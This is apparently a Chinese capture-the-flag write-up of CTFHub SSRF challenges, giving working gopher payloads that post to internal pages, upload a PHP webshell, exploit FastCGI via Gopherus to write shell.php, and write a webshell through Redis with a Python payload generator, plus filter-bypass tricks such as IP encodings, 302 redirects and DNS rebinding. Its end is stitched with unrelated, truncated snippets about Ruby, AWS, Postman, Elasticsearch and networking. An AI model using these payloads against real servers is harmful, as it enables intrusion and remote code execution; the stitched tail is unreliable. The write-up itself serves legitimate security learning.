题目来源:https://www.ctfhub.com/#/skilltree Web技能树,SSRF部分
SSRF全称:Server-Side Request Forgery,服务器端请求伪造。可以理解为以服务器的身份执行构造好的攻击请求来获取内网资源或绕过waf。
网站一般都会提供从其他的服务器上获取数据的功能(获取图片、下载文件、读取文件内容、转发收藏、邮件、翻译等),这时候如果没有对目标地址做完善的过滤与限制。攻击者就可以利用SSRF泄露内部信息,DOS攻击,或者再次利用其他漏洞攻击。
SSRF的实质就是利用过滤不全的Web站点作为代理攻击远程和本地的服务器。
SSRF漏洞是伪造服务器发送请求的漏洞,可以通过分析发送的请求是否是由服务器端发送的(验证资源来源)来判断是否存在SSRF漏洞。
对于PHP来说file_get_contents(),fsockopen(),curl_exec()等函数可能产生SSRF
直接构造请求访问即可。
Payload:
http://challenge-297b1abbef859a9a.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
因为只学过PHP的伪协议,就莽上去了,寄掉辣。
http://challenge-af36601345fec220.sandbox.ctfhub.com:10800/?url=php://filter/read=convert.base64-encode/resource=flag.php
学习URL伪协议
URL伪协议有如下这些:
file:// 从文件系统中获取文件
dict:// 引用允许通过DICT协议使用的定义或单词列表
sftp:// Sftp代表SSH文件传输协议
ldap:// 轻量级目录访问协议 管理和访问分布式目录信息服务
tftp:// 简单文件传输协议 允许客户端从远程主机获取文件或将文件上传
gopher:// 一种分布式文档传递服务 用户可以无缝地浏览、搜索和检索驻留在不同位置的信息
file伪协议可以读取系统内的文件,使用dict伪协议可以查看内网存活主机和端口探测,使用gopher伪协议反弹shell,配合redis写shell操作。
dict的使用curl -v ‘http://a.com/ssrf.php?url=dict://172.0.0.1:22/info'

确实读到东西了,看看BurpSuite里面能不能看到信息

用Bs来端口扫描,选择payloads类型为Numbers

设置范围

筛选有不同长度的响应

302跳转又称暂时性转移,当网页临时移到新的位置,而浏览器的缓存没有更新时,就出现了302跳转。不过这里可以忽略。
post请求,但是要127.0.0.1,本题我们使用gopher协议来做,gopher可以理解为古早版本的http请求,格式如下
gopher://<host>:<port>/<gopher-path>_<TCP数据流>
<port>默认为70
发起多条请求每条要用回车换行去隔开使用%0d%0a隔开,如果多个参数,参数之间的&也需要进行URL编码
ssrf是用php的curl实现的,gopher协议的支持如下。
| 语言 | 支持情况 |
|---|---|
| PHP | --wite-curlwrappers且php版本至少为5.3 |
| Java | 小于JDK1.7 |
| Curl | 低版本不支持 |
| Perl | 支持 |
| ASP.NET | 小于版本3 |
我们需要从本地访问

gopher协议传递HTTP的GET请求需要包含下列信息

gopher协议传递HTTP的POST请求需要包含下列信息和POST信息

首先查看页面源码发现key,思路应该是带着key进行本地访问

开始构造gopher协议
注意Content-Length如果存在并且有效地话,则必须和消息内容的传输长度完全一致。
另外一点:因为我们这里是利用index.php的SSRF,首先通过curl利用gopher协议,其次gopher进行POST请求,这里需要两次URL编码
构造第一次请求,整理POST请求为以下格式
POST /flag.php HTTP/1.0
Host: challenge-8a584cb532fad88e.sandbox.ctfhub.com:10800
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=55dfa41ce7aabc43aa3d02bf01aeaf80
进行URL编码

注意这里的细节,Cyber将换行编码为%0A,这是在Linux环境下的换行,Windows下应该为%0D%0A,需要手动修改一下。
进行二次编码

最终payload:
http://challenge-8a584cb532fad88e.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.0%250D%250AHost:%2520challenge-8a584cb532fad88e.sandbox.ctfhub.com:10800%250D%250AContent-Length:%252036%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey=55dfa41ce7aabc43aa3d02bf01aeaf80


一开始是挺懵的,文件选好了咋上传啊,后来看其他人的wp发现可以手动添加提交框。

<form action="/flag.php" method="post" enctype="multipart/form-data">
<input type="file" name="file"><input type="submit" name="submit">
</form>
抓包调整格式如下:
POST /flag.php HTTP/1.0
Host: 127.0.0.1:80 //这里记得调整为本地访问
Content-Length: 324
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQOpqM1bRzTlR9VD4
------WebKitFormBoundaryQOpqM1bRzTlR9VD4
Content-Disposition: form-data; name="file"; filename="eval.php"
Content-Type: application/octet-stream
<?php @eval($_POST["cmd"]);?>
------WebKitFormBoundaryQOpqM1bRzTlR9VD4
Content-Disposition: form-data; name="submit"
鎻愪氦 //不知为何是乱码,能用
------WebKitFormBoundaryQOpqM1bRzTlR9VD4--
构造gopher协议,流程同上,记得修改%0A为%0D%0A
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.0%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Length:%2520324%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=----WebKitFormBoundaryQOpqM1bRzTlR9VD4%250D%250A%250D%250A------WebKitFormBoundaryQOpqM1bRzTlR9VD4%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522eval.php%2522%250D%250AContent-Type:%2520application/octet-stream%250D%250A%250D%250A%253C?php%2520@eval($_POST%255B%2522cmd%2522%255D);?%253E%250D%250A------WebKitFormBoundaryQOpqM1bRzTlR9VD4%250D%250AContent-Disposition:%2520form-data;%2520name=%2522submit%2522%250D%250A%250D%250A%25E9%258E%25BB%25E6%2584%25AA%25E6%25B0%25A6%250D%250A------WebKitFormBoundaryQOpqM1bRzTlR9VD4--

HTTP协议是浏览器和服务器中间件进行数据交换的协议,而Fastcgi协议是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record区分header和body,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。
比如:浏览器并不能解析动态的php文件,如果http请求的请求文件为.php文件,这时候就需要php-fpm把其解释(翻译)成html格式的文件,而服务器中间件和php-fpm之间的通信协议就是Fastcgi。
Header结构
typedef struct
{
unsigned char version; //版本
unsigned char type; //操作类型
unsigned char requestIdB1; //请求id
unsigned char requestIdB0;
unsigned char contentLengthB1; //内容长度
unsigned char contentLengthB0;
unsigned char paddingLength; //填充字节的长度
unsigned char reserved; //保留字节
}FCGI_Header;
其第二个字段是类型,下表列举一些常用Type值
| type值 | 具体含义 |
|---|---|
| 1 | 请求开始的第一个消息 |
| 2 | 异常断开与php-fpm的交互 |
| 3 | 表明交互的正常结束 |
| 4 | 向php-fpm传递环境参数,以表明消息中包含的数据为某个name-value对 |
| 5 | web服务器将从浏览器接收到的POST请求数据(表单提交等)以消息的形式发给php-fpm |
| 6 | php-fpm正常响应 |
| 7 | php-fpm错误响应 |
服务器中间件和后端语言通信,第一个数据包就是type为1的record,后续互相交流,发送type为4、5、6、7的record,结束时发送type为2、3的record。
漏洞的具体利用主要是靠type4设置环境参数,一次具体的利用看这里
对这道题进行gopherus一把梭
从这篇学的方法。配置gopherus,注意需要Python2环境。

使用方法如下,第一行输入要求是一个已存在的php页面,具体原因可以查询FPM的security.limit_extensions配置项。
对生成gopher再次编码,给curl使用
gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH133%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2585%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg%253D%253D%2520%257Cbase64%2520-d%2520%253E/var/www/html/shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
会在/var/www/html位置生成shell.php,doughnuts连接
connect http://challenge-8f2d72a02851e8b3.sandbox.ctfhub.com:10800/shell.php POST cmd

放一个gist,想更深入原理的可以看下源码
Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信。
RESP实际上是一个支持(简单字符串,错误,整数,批量字符串(Bulk Strings)和数组)的序列化协议。
RESP在Redis中用作请求 - 响应协议的方式如下:
客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器。
服务器根据命令实现回复一种RESP类型。
利用条件:能未授权或者能通过弱口令认证访问到Redis服务器
redis常见的SSRF攻击方式大概有这几种:
具体攻击方式可以参考这里
本题的攻击思路就是构造Redis命令,然后转为RESP协议再构造gopher伪协议写webshell
flushall
set 1 '<?php eval($_GET["feng"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
利用脚本转换成RESP协议格式
import urllib.request
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
def payload_generate(ip,passwd):
protocol="gopher://"
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
return payload
def redis_format(arr):
CRLF="\r\n" # In Windows
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
ip = input("Input Attacked IP:\t")
passwd = input("Input Attacked PASSWD (if exist):\t")
if not passwd:
passwd = ""
payload = payload_generate(ip,passwd)
for x in cmd:
payload += urllib.request.quote(redis_format(x))
print (urllib.request.quote(payload)) # 这里已经进行二次编码了
脚本已经进行了二次编码,直接拿去跑就行
最终payload
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_GET%255B%2522cmd%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

Gopherus同样可以使用,记得替换%0A和二次编码:

根据parse_url和curl对于host解析不同进行@绕过
一些常见的绕过方式:
- 绕过限制为某种域名:
利用@,网站限制只能访问http://www.xxx.com类型的域名。在对@解析域名中,不同的处理函数存在处理差异,例如:http://www.aaa.com@www.bbb.com@www.ccc.com
在PHP的parse_url中会识别 www.ccc.com,而libcurl则识别为 www.bbb.com- 绕过限制请求IP不为内网地址:
1. 采用短网址绕过
2.利用特殊域名,xip.io可以指向任意域名(原理是DNS解析),即 127.0.0.1.xip.io,可以解析为127.0.0.1
3. 采用进制转换,127.0.0.1 八进制:0177.0.0.1;十六进制:0x7f.0.0.1;十进制:2130706433
4. 添加端口号,http://127.0.0.1:8080
5. 利用句号,127。0。0。1会解析为 127.0.0.1
6. 采用302跳转
7. Enclosed alphanumerics绕过
8. 利用http://xip.io和xip.name绕过- 限制请求只为http协议:
1. 采用302跳转
2. 采用短地址

知识点如上


利用file伪协议查看页面源代码

,,感觉能拿上次的payload来

逆天
学习下用302跳转怎么绕过,基本原理是设置302.php
#302.php
<?php
header("Location:http://127.0.0.1/flag.php");
让服务器解析对302.php的访问请求,自己跳转过去,而不经过index.php
这里需要一台有公网ip的服务器
构建Payload
http://challenge-c16227ad0f31ed81.sandbox.ctfhub.com:10800/?url=http://xxx/upload/302.php
先补充理论知识
当各地的DNS(LDNS)服务器接受到解析请求时,就会向域名指定的授权DNS服务器发出解析请求从而获得解析记录;该解析记录会在DNS(LDNS)服务器中保存一段时间,这段时间内如果再接到这个域名的解析请求,DNS服务器将不再向授权DNS服务器发出请求,而是直接返回刚才获得的记录;
TTL(Time To Live)是DNS缓存的时间。它表示DNS记录在DNS服务器上缓存时间,数值越小,修改记录各地生效时间越快。
对于DNS重绑定来说,需要将TTL设置为很低的数值或者0才能实现。
取URL的Host
取Host的IP -> DNS解析
判断是否是内网IP,是内网IP直接return,不再往下执行
请求URL -> DNS解析(TTL为0)
如果有跳转,取出跳转URL,执行第1步
正常的业务逻辑里,当判断完成最后会去请求URL,实现业务逻辑。 -> DNS解析(TTL为0)
其中会发起DNS请求的步骤为,第2、4、6步,看来至少要请求3次。因为第6步至少会执行1次DNS请求。我们想要利用重绑定ByPass重点是绕过第3步.
首先,修复逻辑中第2步发起DNS请求,DNS服务器返回一个外网IP,通过验证,执行到第四步。
这时DNS重绑定到所需的内网IP
接着,修复逻辑中第4步会发起DNS请求,DNS服务器返回一个内网IP。此时,SSRF已经产生。
同源是指"协议+域名+端口"三者相同,即便两个不同的域名指向同一个 ip 地址,也非同源。将同源的协议域名端口视为一个域。
它是浏览器最核心也最基本的安全功能,现在所有支持JavaScript的浏览器都会使用这个策略。如果缺少了同源策略,浏览器很容易受到XSS、 CSFR等攻击。
同源策略的作用:
如果你和目标不在同一个域(非同源),那么
(1)Cookie、LocalStorage 和 IndexDB 无法读取
(2) DOM 无法获得
(3)AJAX 跨域返回的结果无法获得(JSONP,CORS等可以规避)
部分跨域不受同源策略限制
(1) 页面上的链接,比如 a 链接。
(2) 重定向。
(3) 表单提交。
(4) 跨域资源的引入(而非读取),比如:script, img, link, iframe。
通过DNS重绑定攻击可以绕过同源策略,攻击内网的其他设备。
首先确定,同源是指“协议+域名+端口”三者相同,而不是“协议+IP+端口”。
在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。
而对于攻击者来说,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。
事已至此,该做题了。
RBNDR是一个用于针对DNS重绑定漏洞测试的服务器。服务器通过随机选择主机名中指定的地址之一并将其作为答案返回,以非常低的TTL来响应查询。

我们这里可以设置一个为公网ip,一个为内网ip。假设目标对内网ip检测的话,如果第一次访问DNS绑定公网ip就会pass,TTL很小,考虑为不会查询存储,然后再次进行DNS解析这时绑定到内网ip就能进行DNS重绑定攻击。

我正在编写一个小脚本来定位aws存储桶中的特定文件,并创建一个临时验证的url以发送给同事。(理想情况下,这将创建类似于在控制台上右键单击存储桶中的文件并复制链接地址的结果)。我研究过回形针,它似乎不符合这个标准,但我可能只是不知道它的全部功能。我尝试了以下方法:defauthenticated_url(file_name,bucket)AWS::S3::S3Object.url_for(file_name,bucket,:secure=>true,:expires=>20*60)end产生这种类型的结果:...-1.amazonaws.com/file_path/file.zip.A
在Ruby中是否有Gem或安全删除文件的方法?我想避免系统上可能不存在的外部程序。“安全删除”指的是覆盖文件内容。 最佳答案 如果您使用的是*nix,一个很好的方法是使用exec/open3/open4调用shred:`shred-fxuz#{filename}`http://www.gnu.org/s/coreutils/manual/html_node/shred-invocation.html检查这个类似的帖子:Writingafileshredderinpythonorruby?
1.postman介绍Postman一款非常流行的API调试工具。其实,开发人员用的更多。因为测试人员做接口测试会有更多选择,例如Jmeter、soapUI等。不过,对于开发过程中去调试接口,Postman确实足够的简单方便,而且功能强大。2.下载安装官网地址:https://www.postman.com/下载完成后双击安装吧,安装过程极其简单,无需任何操作3.使用教程这里以百度为例,工具使用简单,填写URL地址即可发送请求,在下方查看响应结果和响应状态码常用方法都有支持请求方法:getpostputdeleteGet、Post、Put与Delete的作用get:请求方法一般是用于数据查询,
Ⅰ软件测试基础一、软件测试基础理论1、软件测试的必要性所有的产品或者服务上线都需要测试2、测试的发展过程3、什么是软件测试找bug,发现缺陷4、测试的定义使用人工或自动的手段来运行或者测试某个系统的过程。目的在于检测它是否满足规定的需求。弄清预期结果和实际结果的差别。5、测试的目的以最小的人力、物力和时间找出软件中潜在的错误和缺陷6、测试的原则28原则:20%的主要功能要重点测(eg:支付宝的支付功能,其他功能都是次要的)80%的错误存在于20%的代码中7、测试标准8、测试的基本要求功能测试性能测试安全性测试兼容性测试易用性测试外观界面测试可靠性测试二、质量模型衡量一个优秀软件的维度①功能性功
ES一、简介1、ElasticStackES技术栈:ElasticSearch:存数据+搜索;QL;Kibana:Web可视化平台,分析。LogStash:日志收集,Log4j:产生日志;log.info(xxx)。。。。使用场景:metrics:指标监控…2、基本概念Index(索引)动词:保存(插入)名词:类似MySQL数据库,给数据Type(类型)已废弃,以前类似MySQL的表现在用索引对数据分类Document(文档)真正要保存的一个JSON数据{name:"tcx"}二、入门实战{"name":"DESKTOP-1TSVGKG","cluster_name":"elasticsear
我正在使用ruby2.1.0我有一个json文件。例如:test.json{"item":[{"apple":1},{"banana":2}]}用YAML.load加载这个文件安全吗?YAML.load(File.read('test.json'))我正在尝试加载一个json或yaml格式的文件。 最佳答案 YAML可以加载JSONYAML.load('{"something":"test","other":4}')=>{"something"=>"test","other"=>4}JSON将无法加载YAML。JSON.load("
我正在使用Ruby/Mechanize编写一个“自动填写表格”应用程序。它几乎可以工作。我可以使用精彩CharlesWeb代理以查看服务器和我的Firefox浏览器之间的交换。现在我想使用Charles查看服务器和我的应用程序之间的交换。Charles在端口8888上代理。假设服务器位于https://my.host.com。.一件不起作用的事情是:@agent||=Mechanize.newdo|agent|agent.set_proxy("my.host.com",8888)end这会导致Net::HTTP::Persistent::Error:...lib/net/http/pe
默认情况下:回形针gem将所有附件存储在公共(public)目录中。出于安全原因,我不想将附件存储在公共(public)目录中,所以我将它们保存在应用程序根目录的uploads目录中:classPost我没有指定url选项,因为我不希望每个图像附件都有一个url。如果指定了url:那么拥有该url的任何人都可以访问该图像。这是不安全的。在user#show页面中:我想实际显示图像。如果我使用所有回形针默认设置,那么我可以这样做,因为图像将在公共(public)目录中并且图像将具有一个url:Someimage:看来,如果我将图像附件保存在公共(public)目录之外并且不指定url(同
我在一个ruby文件中有一个函数可以像这样写入一个文件File.open("myfile",'a'){|f|f.puts("#{sometext}")}这个函数在不同的线程中被调用,使得像上面这样的文件写入不是线程安全的。有谁知道如何以最简单的方式使这个文件写入线程安全?更多信息:如果重要的话,我正在使用rspec框架。 最佳答案 您可以通过File#flock给锁File.open("myfile",'a'){|f|f.flock(File::LOCK_EX)f.puts("#{sometext}")}
(本文是网络的宏观的概念铺垫)目录计算机网络背景网络发展认识"协议"网络协议初识协议分层OSI七层模型TCP/IP五层(或四层)模型报头以太网碰撞路由器IP地址和MAC地址IP地址与MAC地址总结IP地址MAC地址计算机网络背景网络发展 是最开始先有的计算机,计算机后来因为多项技术的水平升高,逐渐的计算机变的小型化、高效化。后来因为计算机其本身的计算能力比较的快速:独立模式:计算机之间相互独立。 如:有三个人,每个人做的不同的事物,但是是需要协作的完成。 而这三个人所做的事是需要进行协作的,然而刚开始因为每一台计算机之间都是互相独立的。所以前面的人处理完了就需要将数据